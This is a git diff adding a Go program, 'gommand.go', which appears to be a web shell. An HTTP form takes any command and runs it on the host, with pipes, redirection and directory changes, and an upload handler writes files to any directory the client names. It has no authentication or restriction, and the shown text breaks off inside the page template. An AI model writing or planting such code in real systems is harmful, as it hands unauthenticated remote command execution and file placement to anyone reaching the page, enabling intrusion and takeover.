diff --git a/gommand.go b/gommand.go new file mode 100644 index 0000000..e474f71 --- /dev/null +++ b/gommand.go @@ -0,0 +1,408 @@ +package main + +import ( + // "bytes" + "fmt" + "html/template" + "io" + "net/http" + "os" + "os/exec" + "os/user" + "path/filepath" + "strings" +) + +type PageData struct { + CurrentDir string + CurrentUsername string + CommandLog []CommandOutput +} + +type CommandOutput struct { + Command string + Output string + Error string +} + +var commandLog []CommandOutput + +func executeCommand(command string, args []string, dir string) (string, error) { + cmd := exec.Command(command, args...) + cmd.Dir = dir + output, err := cmd.CombinedOutput() + return string(output), err +} + +func executeSimpleCommand(command string, currentDir string) CommandOutput { + var cmdOutput CommandOutput + parts := strings.Fields(command) + if len(parts) == 0 { + return cmdOutput + } + + cmd := exec.Command(parts[0], parts[1:]...) + cmd.Dir = currentDir + output, err := cmd.CombinedOutput() + cmdOutput.Command = command + cmdOutput.Output = string(output) + if err != nil { + cmdOutput.Error = err.Error() + } + return cmdOutput +} + +func changeDirectory(command string, args []string, currentDir *string) CommandOutput { + var cmdOutput CommandOutput + + if len(args) == 0 { + homeDir, _ := os.UserHomeDir() + err := os.Chdir(homeDir) + if err != nil { + cmdOutput = CommandOutput { + Command: command, + Error: "Failed to change to home directory: " + err.Error(), + } + } else { + cmdOutput = CommandOutput { + Command: command, + Output: "Changed to home directory: " + homeDir, + } + *currentDir = homeDir + } + } else { + newDir := args[0] + err := os.Chdir(newDir) + if err != nil { + cmdOutput = CommandOutput { + Command: command + " " + newDir, + Error: "Failed to change to directory: " + err.Error(), + } + } else { + cmdOutput = CommandOutput { + Command: command + " " + newDir, + Output: "Changed to directory: " + newDir, + } + *currentDir = newDir + } + } + return cmdOutput +} + +func fileUploadHandler(w http.ResponseWriter, r *http.Request) { + if r.Method == http.MethodPost { + file, header, err := r.FormFile("file") + if err != nil { + http.Error(w, "Failed to upload file", http.StatusInternalServerError) + return + } + defer file.Close() + + uploadDir := r.FormValue("uploadDir") + if uploadDir == "" { + uploadDir = "./" + } + + out, err := os.Create(filepath.Join(uploadDir, header.Filename)) + if err != nil { + http.Error(w, "Failed to save file", http.StatusInternalServerError) + return + } + defer out.Close() + + _, err = io.Copy(out, file) + if err != nil { + http.Error(w, "Failed to write file", http.StatusInternalServerError) + return + } + fmt.Fprintf(w, "File %s uploaded successfully to %s", header.Filename, uploadDir) + } +} + +//////////////////////////////////////////////////////////////////////////////// +// +// Command redirection and Piping +// +//////////////////////////////////////////////////////////////////////////////// + +func executeCommandWithRedirection(command string, currentDir string) CommandOutput { + var cmdOutput CommandOutput + + // First pipe + + if strings.Contains(command, "|") { + cmdOutput = executeCommandWithPipe(command, currentDir) + } else { + if strings.Contains(command, ">") { + cmdOutput = handleOutputRedirection(command, currentDir) + } else if strings.Contains(command, "<") { + cmdOutput = handleInputRedirection(command, currentDir) + } else { + cmdOutput = executeSimpleCommand(command, currentDir) + } + } + + return cmdOutput +} + +// Handle output redirection which is '>' +func handleOutputRedirection(command string, currentDir string) CommandOutput { + var cmdOutput CommandOutput + + parts := strings.Split(command, ">") + cmdStr := strings.TrimSpace(parts[0]) + outputFile := strings.TrimSpace(parts[1]) + + cmdParts := strings.Fields(cmdStr) + if len(cmdParts) == 0 { + return cmdOutput + } + + cmd := exec.Command(cmdParts[0], cmdParts[1:]...) + cmd.Dir = currentDir + + file, err := os.Create(outputFile) + if err != nil { + cmdOutput.Error = fmt.Sprintf("Error creating output file: %v", err) + return cmdOutput + } + defer file.Close() + + cmd.Stdout = file + cmd.Stderr = file + + err = cmd.Run() + if err != nil { + cmdOutput.Error = fmt.Sprintf("Error executing command: %v", err) + } + + cmdOutput.Command = command + return cmdOutput + +} + +func handleInputRedirection(command string, currentDir string) CommandOutput { + var cmdOutput CommandOutput + + parts := strings.Split(command, "<") + cmdStr := strings.TrimSpace(parts[0]) + inputFile := strings.TrimSpace(parts[1]) + + cmdParts := strings.Fields(cmdStr) + if len(cmdParts) == 0 { + return cmdOutput + } + + cmd := exec.Command(cmdParts[0], cmdParts[1:]...) + cmd.Dir = currentDir + + file, err := os.Open(inputFile) + if err != nil { + cmdOutput.Error = fmt.Sprintf("Error opening input file: %v", err) + return cmdOutput + } + defer file.Close() + + cmd.Stdin = file + output, err := cmd.CombinedOutput() + cmdOutput.Output = string(output) + if err != nil { + cmdOutput.Error = err.Error() + } + + cmdOutput.Command = command + return cmdOutput +} + +func executeCommandWithPipe(command string, currentDir string) CommandOutput { + var cmdOutput CommandOutput + commands := strings.Split(command, "|") + + // var prevCmdOutput []byte + var err error + + var cmds []*exec.Cmd // Pipeline of commands + for _, cmdPart := range commands { + cmdPart = strings.TrimSpace(cmdPart) + parts := strings.Fields(cmdPart) + if len(parts) == 0 { + continue + } + + cmd := exec.Command(parts[0], parts[1:]...) + cmd.Dir = currentDir + cmds = append(cmds, cmd) + } + + // Connect the commands through the pipeline + for i := 0; i < len(cmds)-1; i++ { + pipe, pipeErr := cmds[i].StdoutPipe() + if pipeErr != nil { + cmdOutput.Command = command + cmdOutput.Error = fmt.Sprintf("Error creating pipe: %v", pipeErr) + return cmdOutput + } + cmds[i+1].Stdin = pipe + } + + // Capture the final output of the last command + var outputBuffer strings.Builder + cmds[len(cmds)-1].Stdout = &outputBuffer + cmds[len(cmds)-1].Stderr = &outputBuffer + + // Start each command in the pipeline + for _, cmd := range cmds { + err = cmd.Start() + if err != nil { + cmdOutput.Command = command + cmdOutput.Error = fmt.Sprintf("Error starting command '%s': %v", cmd.Path, err) + return cmdOutput + } + } + + // Wait for each command to complete + for _, cmd := range cmds { + err = cmd.Wait() + if err != nil { + cmdOutput.Command = command + cmdOutput.Error = fmt.Sprintf("Error executing command '%s': %v", cmd.Path, err) + return cmdOutput + } + } + // if i > 0 { + // cmd.Stdin = bytes.NewReader(prevCmdOutput) + // } + + // prevCmdOutput, err = cmd.CombinedOutput() + // if err != nil { + // cmdOutput.Command = command + // cmdOutput.Error = fmt.Sprintf("Error executing command '%s': %v", cmdPart, err) + // return cmdOutput + // } + + // } + + cmdOutput.Command = command + cmdOutput.Output = outputBuffer.String() + // cmdOutput.Output = string(prevCmdOutput) + return cmdOutput +} + + +func handler(w http.ResponseWriter, r *http.Request) { + currentDir, _ := os.Getwd() + currentUser, _ := user.Current() + currentUsername := currentUser.Username + + if r.Method == http.MethodPost { + input := r.FormValue("command") + parts := strings.Fields(input) + if len(parts) > 0 { + command := parts[0] + args := parts[1:] + if command == "cd" { + cmdOutput := changeDirectory(command, args, ¤tDir) + commandLog = append(commandLog, cmdOutput) + } else { + cmdOutput := executeCommandWithRedirection(input, currentDir) + + // output, err := executeCommand(command, args, currentDir) + // cmdOutput := CommandOutput{ + // Command: command + " " + strings.Join(args, " "), + // Output: output, + // } + // if err != nil { + // cmdOutput.Error = err.Error() + // } + commandLog = append(commandLog, cmdOutput) + } + } + } + + tmpl := template.Must(template.New("index").Parse(` + + +
+ + +